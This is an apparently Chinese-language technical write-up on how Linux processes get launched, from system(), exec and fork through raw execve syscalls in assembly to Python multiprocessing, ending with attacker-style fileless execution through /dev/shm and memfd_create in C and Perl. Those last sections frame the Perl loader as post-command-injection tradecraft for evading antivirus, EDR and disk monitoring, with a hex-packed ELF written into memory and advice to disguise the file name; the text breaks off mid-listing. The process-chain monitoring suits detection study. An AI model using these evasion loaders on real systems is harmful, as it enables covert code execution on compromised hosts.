Linux进程启动/指令执行方式研究
1. 通过glibc api执行系统指令
0x1:system() glibc api
system是linux系统提供的函数调用之一,glibc也提供了对应的封装api。
system函数的原型为:
#include <stdlib.h> int system (const char *string);
它的作用是,运行以字符串参数的形式传递给它的命令并等待该命令的完成。命令的执行情况就如同在shell中执行命令:sh -c string。
如果无法启动shell来运行这个命令,system函数返回错误代码127;如果是其他错误,则返回-1。否则,system函数将返回该命令的退出码。
#include <stdlib.h> #include <stdio.h> int main() { printf("Running ps with system\n"); system("ps au");// 1 printf("ps Done\n"); exit(0); } # gcc -o new_ps_system new_ps_system.c
netlink监控到的进程链信息如下:
0x2:exec系列 glibc api
exec系列函数由一组相关的函数组成,它们在进程的启动方式和程序参数的声明上各有不同。但是exec系列函数都有一个共同的工作方式,就是把当前进程替换为一个新进程,也就是说我们可以使用exec函数将程序的执行从一个程序切换到另一个程序,在新的程序启动后,原来的程序就不再执行了。
新进程由path或file参数指定。
#include <unistd.h> char **environ; int execl (const char *path, const char *arg0, ..., (char*)0); int execlp(const char *file, const char *arg0, ..., (char*)0); int execle(const char *path, const char *arg0, ..., (char*)0, char *const envp[]); int execv (const char *path, char *const argv[]); int execvp(cosnt char *file, char *const argv[]); int execve(const char *path, char *const argv[], char *const envp[]);
如果想用exec系统函数来启动ps进程,则这6个不同的函数的调用语句为:
char *const ps_envp[] = {"PATH=/bin:usr/bin", "TERM=console", 0}; char *const ps_argv[] = {"ps", "au", 0}; execl("/bin/ps", "ps", "au", 0); execlp("ps", "ps", "au", 0); execle("/bin/ps", "ps", "au", 0, ps_envp); execv("/bin/ps", ps_argv); execvp("ps", ps_argv); execve("/bin/ps", ps_argv, ps_envp);
完整的例子如下,
#include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { printf("Running ps with execlp\n"); execlp("ps", "ps", "au", (char*)0); printf("ps Done"); exit(0); } # gcc -o new_ps_exec new_ps_exec.c -lm
从netlink监控到的进程启动消息可以看到,通过exec方式启动的新进程,直接将当前进程替换为了新的指令进程。
需要注意的是,一般情况下,exec函数是不会返回的,除非发生错误返回-1,由exec启动的新进程继承了原进程的内存空间和句柄,在原进程中已打开的文件描述符在新进程中仍将保持打开,但任何在原进程中已打开的目录流都将在新进程中被关闭。
所以我们可以发现,最后的ps Done并没有输出,因为程序并没有再一次返回到程序new_ps_exec.exe上。
因为调用execlp函数时,new_ps_exec.exe进程被替换为ps进程,当ps进程结束后,整个程序就结束了,并没有回到原来的new_ps_exec.exe进程上,原本的进程new_ps_exec.exe不会再执行,所以语句printf("ps Done");根本没有机会执行。
0x3:fork() glibc api
# multiprocessing.py import os print 'Process (%s) start...' % os.getpid() pid = os.fork() if pid==0: print 'I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid()) else: print 'I (%s) just created a child process (%s).' % (os.getpid(), pid)
netlink监控到的进程链信息如下:
Relevant Link:
https://blog.csdn.net/ljianhui/article/details/10089345 https://www.ibm.com/developerworks/cn/linux/l-connector/index.html
2. 通过syscall系统调用执行指令
除了通过glibc调用fork/execv之外,还可以绕过glibc,直接通过汇编触发“int80中断”,从而直接使用操作系统提供的系统调用能力。
0x1:system syscall
0x2:execve syscall
asm_execve.s
.section .data file_to_run: .ascii "/bin/sh" .section .text .globl main main: pushl %ebp movl %esp, %ebp subl $0x8, %esp # array of two pointers. array[0] = file_to_run array[1] = 0 movl file_to_run, %edi movl %edi, -0x4(%ebp) movl $0, -0x8(%ebp) movl $11, %eax # sys_execve movl file_to_run, %ebx # file to execute leal -4(%ebp), %ecx # command line parameters movl $0, %edx # environment block int $0x80 leave ret
Makefile
NAME = asm_execve
$(NAME) : $(NAME).s
gcc -o $(NAME) $(NAME).s
编译并执行
gcc -o asm_execve asm_execve.s
上述汇编原理上和下面这段C代码是等价的,
char *data[2]; data[0] = "/bin/sh"; data[1] = NULL; execve(data[0], data, NULL);
x64版本的汇编如下:
.section .text .globl main main: xor %rdx, %rdx push %rdx sub $0x16, %rsp movb $0x2f, 7(%rsp) movl $0x2f6e6962, 8(%rsp) movl $0x746163, 12(%rsp) leaq 7(%rsp), %rdi pushq %rdx push %rdi mov %rsp, %rsi movb $0x3b, %al syscall
Relevant Link:
https://stackoverflow.com/questions/9342410/sys-execve-system-call-from-assembly https://stackoverflow.com/questions/47897025/assembly-execve-bin-bash-x64 https://www.exploit-db.com/exploits/35205 https://reverseengineering.stackexchange.com/questions/21634/how-to-pass-param-to-execve-to-execute-cat-a-file-in-x64-asm
3. 通过Bash执行指令
0x1:Bash内置指令执行
所谓 Shell 内建命令,就是由 Bash 自身提供的命令,而不是文件系统中的某个可执行文件。
例如,用于进入或者切换目录的 cd 命令,该命令并不是某个外部文件,只要在 Shell 中就直接可以运行这个命令,Bash 会完成指令的解析与执行并返回结果。内建指令不会启动新进程。
可以用type指令来查看某个指令是否是Bash内建指令,
root@iZbp1i02dgbk14bmjk8m9vZ:~# type cd cd is a shell builtin root@iZbp1i02dgbk14bmjk8m9vZ:~# type ifconfig ifconfig is /sbin/ifconfig
0x2:通过Bash启动第三方新进程(指令)
本质上Bash通过调用execve() glibc api来实现的,以执行whoami指令为例,
同时,netlink会收到一个进程启动事件消息,
4. Python启动新进程
0x1:os.execv()
#!/usr/bin/python #coding=utf-8 import os def main(): print "Running ps with execlp" os.execlp("who", 'who') print "Done." main() # strace python new_proc.py
strace跟踪如下:
可以看到,python底层还是调用了glibc库的execv api来实现进程启动的。
netlink监控消息如下,
0x2:python Multiprocessing类
- Unix/Linux下,multiprocessing模块封装了fork()调用,使我们不需要关注fork()的细节
- Windows没有fork调用,因此,multiprocessing需要“模拟”出fork的效果,父进程所有Python对象都必须通过pickle序列化再传到子进程去
创建出多进程后,每个新进程都拷贝了一份原主进程的完整py代码,新的多进程可以继续执行py代码中指定的callback函数。
同时,进程间通信是通过Queue、Pipes等实现的,方便multiprocess进行多进程管理。
1. Process(用于创建进程模块)
因为python使用全局解释器锁(GIL),他会将进程中的线程序列化,也就是多核cpu实际上并不能达到并行提高速度的目的,而使用多进程则是不受限的,所以实际应用中都是推荐多进程的。
# -*- coding: utf-8 -*- from multiprocessing import Process import time import random def test(): for i in range(1,5): print("---%d---"%i) time.sleep(60) p = Process(target=test) p.start() #让这个进程开始执行test函数里面的代码 p.join() #等进程p结束之后,才会继续向下走 print("---main----")
可以看到,通过python Process类启动的新进程,只会监控到fork事件,从netlink角度来看,就是重复启动了一次原脚本文件。
2. Pool(用于创建管理进程池)
# -*- coding: utf-8 -*- from multiprocessing import Pool import os import time def worker(num): for i in range(2): print("===pid=%d===num=%d"%(os.getpid(), num)) time.sleep(1) pool = Pool(3) #定义一个进程池,最大进程数3 for i in range(5): print("---%d---"%i) pool.apply_async(worker, [i,]) #使用非阻塞方式调用func(并行执行,堵塞方式必须 #等待上一个进程退出才能执行下一个进程) print("---start----") pool.close() #关闭进程池,关闭后pool不能再添加新的请求 pool.join() #等待pool中所有子进程执行完成,必须放在close语句之后 print("---end----")
可以看到,通过python Pool类启动的新进程,底层还是调用的fork。
Relevant Link:
https://thief.one/2016/11/23/Python-multiprocessing/ https://blog.csdn.net/Duke10/article/details/79861201 https://www.liaoxuefeng.com/wiki/897692888725344/923056295693632
0x3:执行中间态缓存文件
Python的程序中,是把原始程序代码放在.py文件里,而Python会在执行.py文件的时候。将.py形式的程序编译成中间式文件(byte-compiled)的.pyc文件,这么做的目的就是为了加快下次执行文件的速度。
同样,攻击者可以提前先编译好pyc文件,之后投递到目标机器上直接执行,从而躲避目标机器上IDS的文本内容审查。
python -m py_compile ./poc.py
值得注意的是,pyc文件对后缀是没有强制要求的,任意后缀都可以被执行。
5. 无文件进程启动方式
进程启动的本质是将一段汇编指令(shellcode)从某种媒介上加载到计算机的内存(RAM)中,并触发操作系统的cpu调度,从某个执行的内存地址中开始按照逻辑顺序执行。
操作系统真正需要的是内存中的shellcode代码以及制定入口点虚拟内存空间,至于这个shellcode从哪里来并不重要,可以是从物理磁盘,也可以是网络IO流,或者是虚拟内存设备。
在Linux系统中实现无文件执行ELF是渗透测试中一种非常有用的技术。这种方法较为隐蔽,可以绕过各种类型的反病毒保护机制、系统完整性保护机制以及基于硬盘监控的防护系统。通过这种方法,我们能够以最小的动静访问目标。
0x1:基于linux内存镜像文件
我们可以利用linux文件系统中的共享内存分区来存储进程文件,例如
- /dev/shm
- /run/shm
这些目录实际上是挂载到文件系统上已分配的内存空间,写入到这些目录下的文件不会实际落到物理磁盘上。
但是如果我们使用ls命令,就可以像查看其他目录一样查看这些目录,会发现目录下的进程文件。
此外,已挂载的这些目录设置了noexec标志,因此只有超级用户才能执行这些目录中的程序。
0x2:基于memfd_create创建内存镜像文件
1. memfd_create基本介绍
#define _GNU_SOURCE /* See feature_test_macros(7) */ #include <sys/mman.h> int memfd_create(const char *name, unsigned int flags); name参数代表文件名,在/proc/self/fd/目录中我们可以看到该文件名为符号链接的目的文件。显示在/proc/self/fd/目录中的文件名始终带有memfd:前缀,并且只用于调试目的。 名称并不会影响文件描述符的行为,因此多个文件可以拥有相同的名称,不会有任何影响。 flags标志位,进行tmpfs无文件执行的时候需要MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭
memfd_create这个系统调用。该系统调用与malloc比较类似,但并不会返回指向已分配内存的一个指针,而是返回指向某个匿名文件的文件描述符。该匿名文件以链接(link)形式存放在/proc/pid/fd/文件系统中。
#include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'n", buf); exit(EXIT_SUCCESS); }
如上代码使用memfd创建一个子进程,将其输出重定向至一个临时文件,等待子进程结束,从临时文件中读取子进程输出数据。通常情况下,*nix环境会使用|管道将一个程序的输出重定向至另一个程序的输入。
2. 将可执行文件载入内存并启动【C语言】
- fd = memfd_create("", MFD_CLOEXEC);
- write(fd, elfbuffer, elfbuffer_len);
- asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <linux/memfd.h> #include <sys/syscall.h> #include <errno.h> int anonyexec(const char *path, char *argv[]) { int fd, fdm, filesize; void *elfbuf; char cmdline[256]; fd = open(path, O_RDONLY); filesize = lseek(fd, SEEK_SET, SEEK_END); lseek(fd, SEEK_SET, SEEK_SET); elfbuf = malloc(filesize); read(fd, elfbuf, filesize); close(fd); fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC); ftruncate(fdm, filesize); write(fdm, elfbuf, filesize); free(elfbuf); sprintf(cmdline, "/proc/self/fd/%d", fdm); argv[0] = cmdline; execve(argv[0], argv, NULL); free(elfbuf); return -1; } int main() { char *argv[] = {"/bin/uname", "-a", NULL}; int result =anonyexec("/bin/uname", argv); return result; }
3. 使用perl进行memfd_create无文件执行
假设现在我们已经找到了命令注入点,我们需要找到在目标上执行系统命令的方法。
上一小节介绍的C语言的memfd_create方式需要在本地编译并执行一个二进制程序,会遇到二进制AV EDR的检测与防御阻断。所以,现在很多白帽子都不会使用C二进制程序来投递载荷了,转而使用行为特征更隐蔽的git脚本语言,例如perl/python/powershell,这类语言本身都预装在操作系统中,而且可以在命令行即时执行而不需要落盘文件。
1)创建内存匿名文件
my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; }
- syscall的第一个参数是”调用号(call number)“,我们可以在/usr/include或者网上找到这些信息。系统调用号位于#define中,前缀为__NR_。在这个场景中,64位Linux系统上memfd_create()的系统调用号为319,数字常量为FD_CLOSEXEC 0x0001U
- syscall的第二个参数是”文件名称“,我们会在/proc/self/fd/目录中看到带有”/memfd:“前缀的文件名。因此我们最好的方法就是选择接近[:kworker]或者看上去不大可疑的另一个名称。
- syscall的第三个参数是”标志位“,这里1就是代表MFD_CLOEXEC
现在$fd为匿名文件的文件描述符,我们需要将ELF写入该文件。
Perl中有个open()函数,通常用来打开文件,我们也可以使用该函数,在参数中指定">&="."匿名文件描述符",将已打开的文件描述符转化为文件句柄。此外这里还需要设置autoflush[]。
open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]);
完成代码如下:
#!/usr/bin/env perl use warnings; use strict; $| = 1; # open a memory-tmp file print "making memory tmp file"; my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } print "fd $fd\n"; # make a nice perl file handle open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); # load binary into memory-tmp file print "writing elf binary to memory...."
2)将ELF内容写入内存匿名文件
现在我们已经搞定指向匿名文件的一个文件描述符。接下来我们需要将可执行文件提供给Perl,可以通过如下方式:
$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
以上命令会输出许多行,如下所示:
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000000005400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000781a0000000000000000000040003800090040001f001c00/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000005000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/f801000000000000f80100000000000008000000000000000300000004000000/ or die qq/write: $!/; print $FH pack q/H*/, q/3802000000000000380240000000000038024000000000001c00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/1c00000000000000010000000000000001000000050000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000400000000000000040000000000014080000000000001408000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00002000000000000100000006000000100e000000000000100e600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/100e600000000000400200000000000048020000000000000000200000000000/ or die qq/write: $!/;
执行这些语句就可以将我们的可执行文件载入内存中,等待执行。
我们将其保存为一个pl文件,
3)调用exec函数执行匿名内存文件
在perl中我们可以使用Exec()来启动新进程。我们需要传递给exec()两个参数:
- 待执行的文件(内存中的ELF文件)
- 进程名
调用exec()的语法如下:
exec {"/proc/$$/fd/$fd"}
通常情况下,文件名和进程名相同,但由于我们可以在进程列表中看到/proc/PID/fd/3
信息,因此我们需要重命名进程。
#!/usr/bin/env perl use warnings; use strict; $| = 1; # open a memory-tmp file print "making memory tmp file"; my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } print "fd $fd\n"; # make a nice perl file handle open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); # load binary into memory-tmp file print "writing elf binary to memory...."; print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000000005400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000781a0000000000000000000040003800090040001f001c00/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000005000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/f801000000000000f80100000000000008000000000000000300000004000000/ or die qq/write: $!/; print $FH pack q/H*/, q/3802000000000000380240000000000038024000000000001c00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/1c00000000000000010000000000000001000000050000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000400000000000000040000000000014080000000000001408000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00002000000000000100000006000000100e000000000000100e600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/100e600000000000400200000000000048020000000000000000200000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000006000000280e000000000000280e600000000000280e600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/d001000000000000d00100000000000008000000000000000400000004000000/ or die qq/write: $!/; print $FH pack q/H*/, q/5402000000000000540240000000000054024000000000004400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4400000000000000040000000000000050e5746404000000ec06000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/ec06400000000000ec0640000000000034000000000000003400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/040000000000000051e574640600000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000001000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/52e5746404000000100e000000000000100e600000000000100e600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/f001000000000000f00100000000000001000000000000002f6c696236342f6c/ or die qq/write: $!/; print $FH pack q/H*/, q/642d6c696e75782d7838362d36342e736f2e3200040000001000000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/474e550000000000020000000600000020000000040000001400000003000000/ or die qq/write: $!/; print $FH pack q/H*/, q/474e5500fbdd36c73284d1dbb8cab32bde9c99bb5b3cc39b0100000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0100000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000010000000120000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000150000001200000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/2300000012000000000000000000000000000000000000003500000020000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000000000000000000000b000000120000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000001c0000001200000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/006c6962632e736f2e3600657869740070757473007072696e74660065786563/ or die qq/write: $!/; print $FH pack q/H*/, q/6c70005f5f6c6962635f73746172745f6d61696e005f5f676d6f6e5f73746172/ or die qq/write: $!/; print $FH pack q/H*/, q/745f5f00474c4942435f322e322e350000000200020002000000020002000000/ or die qq/write: $!/; print $FH pack q/H*/, q/01000100010000001000000000000000751a6909000002004400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/f80f600000000000060000000400000000000000000000001810600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0700000001000000000000000000000020106000000000000700000002000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000281060000000000007000000030000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/3010600000000000070000000500000000000000000000003810600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/070000000600000000000000000000004883ec08488b057d0b20004885c07405/ or die qq/write: $!/; print $FH pack q/H*/, q/e86b0000004883c408c3000000000000ff35720b2000ff25740b20000f1f4000/ or die qq/write: $!/; print $FH pack q/H*/, q/ff25720b20006800000000e9e0ffffffff256a0b20006801000000e9d0ffffff/ or die qq/write: $!/; print $FH pack q/H*/, q/ff25620b20006802000000e9c0ffffffff255a0b20006803000000e9b0ffffff/ or die qq/write: $!/; print $FH pack q/H*/, q/ff25520b20006804000000e9a0ffffffff25020b200066900000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/31ed4989d15e4889e24883e4f0505449c7c0b006400048c7c14006400048c7c7/ or die qq/write: $!/; print $FH pack q/H*/, q/f6054000e897fffffff4660f1f440000b85710600055482d501060004883f80e/ or die qq/write: $!/; print $FH pack q/H*/, q/4889e5761bb8000000004885c074115dbf50106000ffe0660f1f840000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/5dc30f1f4000662e0f1f840000000000be50106000554881ee5010600048c1fe/ or die qq/write: $!/; print $FH pack q/H*/, q/034889e54889f048c1e83f4801c648d1fe7415b8000000004885c0740b5dbf50/ or die qq/write: $!/; print $FH pack q/H*/, q/106000ffe00f1f005dc3660f1f440000803d990a2000007511554889e5e86eff/ or die qq/write: $!/; print $FH pack q/H*/, q/ffff5dc605860a200001f3c30f1f4000bf200e600048833f007505eb930f1f00/ or die qq/write: $!/; print $FH pack q/H*/, q/b8000000004885c074f1554889e5ffd05de97affffff554889e5bfc4064000e8/ or die qq/write: $!/; print $FH pack q/H*/, q/9cfeffffb900000000badb064000bede064000bfde064000b800000000e8befe/ or die qq/write: $!/; print $FH pack q/H*/, q/ffffbfe1064000b800000000e87ffeffffbf00000000e895feffff0f1f440000/ or die qq/write: $!/; print $FH pack q/H*/, q/415741564189ff415541544c8d25be07200055488d2dbe072000534989f64989/ or die qq/write: $!/; print $FH pack q/H*/, q/d54c29e54883ec0848c1fd03e8fffdffff4885ed742031db0f1f840000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4c89ea4c89f64489ff41ff14dc4883c3014839eb75ea4883c4085b5d415c415d/ or die qq/write: $!/; print $FH pack q/H*/, q/415e415fc390662e0f1f840000000000f3c300004883ec084883c408c3000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0100020052756e6e696e67207073207769746820657865636c70006175007073/ or die qq/write: $!/; print $FH pack q/H*/, q/00707320446f6e6500000000011b033b3000000005000000a4fdffff7c000000/ or die qq/write: $!/; print $FH pack q/H*/, q/14feffff4c0000000affffffa400000054ffffffc4000000c4ffffff0c010000/ or die qq/write: $!/; print $FH pack q/H*/, q/1400000000000000017a5200017810011b0c070890010710140000001c000000/ or die qq/write: $!/; print $FH pack q/H*/, q/c0fdffff2a00000000000000000000001400000000000000017a520001781001/ or die qq/write: $!/; print $FH pack q/H*/, q/1b0c070890010000240000001c00000020fdffff60000000000e10460e184a0f/ or die qq/write: $!/; print $FH pack q/H*/, q/0b770880003f1a3b2a332422000000001c000000440000005efeffff45000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00410e108602430d0600000000000000440000006400000088feffff65000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00420e108f02420e188e03450e208d04420e288c05480e308606480e3883074d/ or die qq/write: $!/; print $FH pack q/H*/, q/0e40720e38410e30410e28420e20420e18420e10420e080014000000ac000000/ or die qq/write: $!/; print $FH pack q/H*/, q/b0feffff02000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000000000000000000000d005400000000000b005400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000000000001000000000000000c00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/70044000000000000d00000000000000b4064000000000001900000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/100e6000000000001b0000000000000008000000000000001a00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/180e6000000000001c000000000000000800000000000000f5feff6f00000000/ or die qq/write: $!/; print $FH pack q/H*/, q/9802400000000000050000000000000060034000000000000600000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/b8024000000000000a0000000000000050000000000000000b00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/1800000000000000150000000000000000000000000000000300000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0010600000000000020000000000000078000000000000001400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/07000000000000001700000000000000f8034000000000000700000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/e003400000000000080000000000000018000000000000000900000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/1800000000000000feffff6f00000000c003400000000000ffffff6f00000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0100000000000000f0ffff6f00000000b0034000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/280e60000000000000000000000000000000000000000000a604400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/b604400000000000c604400000000000d604400000000000e604400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000000000000000000004743433a20285562756e747520352e34/ or die qq/write: $!/; print $FH pack q/H*/, q/2e302d367562756e7475317e31362e30342e31312920352e342e302032303136/ or die qq/write: $!/; print $FH pack q/H*/, q/3036303900000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003000100380240000000000000000000000000000000000003000200/ or die qq/write: $!/; print $FH pack q/H*/, q/5402400000000000000000000000000000000000030003007402400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000300040098024000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003000500b80240000000000000000000000000000000000003000600/ or die qq/write: $!/; print $FH pack q/H*/, q/600340000000000000000000000000000000000003000700b003400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000000000000003000800c0034000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003000900e00340000000000000000000000000000000000003000a00/ or die qq/write: $!/; print $FH pack q/H*/, q/f80340000000000000000000000000000000000003000b007004400000000000/ or die qq/write: 